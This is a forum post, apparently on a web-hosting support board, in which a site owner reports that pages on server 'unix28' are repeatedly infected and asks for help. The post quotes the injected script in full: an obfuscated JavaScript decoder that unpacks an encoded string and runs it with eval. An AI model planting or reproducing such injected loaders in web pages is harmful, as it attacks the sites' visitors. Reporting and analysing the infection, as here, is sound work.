Do any one face with the virus on the server unix28 ?

[quangmd]

Hi everybody,

I have a plan on the server unix28, and all the page are infected. although I had fix all, reset all the password, check all the source, even delete it all. I got it infected too. But also I have some track in the page, and it shows that it doesnt cause by the source code cause it haev nothing inside, just a simeple page index.html.

always after sometime, I got the page insearted with a malscript:

<script language=JavaScript> function qibbn15(p) { var h=p.length,k=1024,s,i,c,z=0,d=0,j=0,t=Array(63,22, 12,11,31,60,26,0,1,53,0,0,0,0,0,0,52,46,47,55,49,2 7,37,21,8,38,3,15,32,61,56,25,2,13,39,36,35,34,58, 28,14,62,20,0,0,0,0,40,0,54,30,7,6,5,51,16,19,43,3 3,17,48,50,9,23,41,59,10,18,29,24,57,4,45,44,42);f or(i=Math.ceil(h/k);i>0;i--){c='';for(s=Math.min(h,k);s>0;s--,h--){{j|=(t[p.charCodeAt(z++)-48])<<d;if(d){c+=String.fromCharCode(231^j&255);j>>=8 ;d-=2}else{d=6}}}eval(c);}}qibbn15('gVuUJUHSnhvSdXpSZ zQlTUuUPP2CJUHjsz_LnXOmg1pThrNf7BxT81pjrrNDn6_UPzx CedxCPdNDZ1nj6o5ThXvFtT2mdXNLroNUHsHTr4vUssOmnrNSH KnmuJ2fz6NSKIWFHrOUJYyzdXvTnopjnXHUrYyfQoM@G4M9Xf2 lbou@b3uL7f2le42SXXNSKzt9G4MDKr_T7YNS6Ex9o42FhVvUP ztDJVHFoA_jbatUHI_LeRMaHquLG6_UPIQlXJ') </script>

even just only a very simple html page.

Did anyone face with it too ?

I was in so bad situation now.

is there anything that vortech can help ??? I ask for support but got nothing but do it your self -> I deleted it all and still being infected. damn, what can I do now ?

Hic hic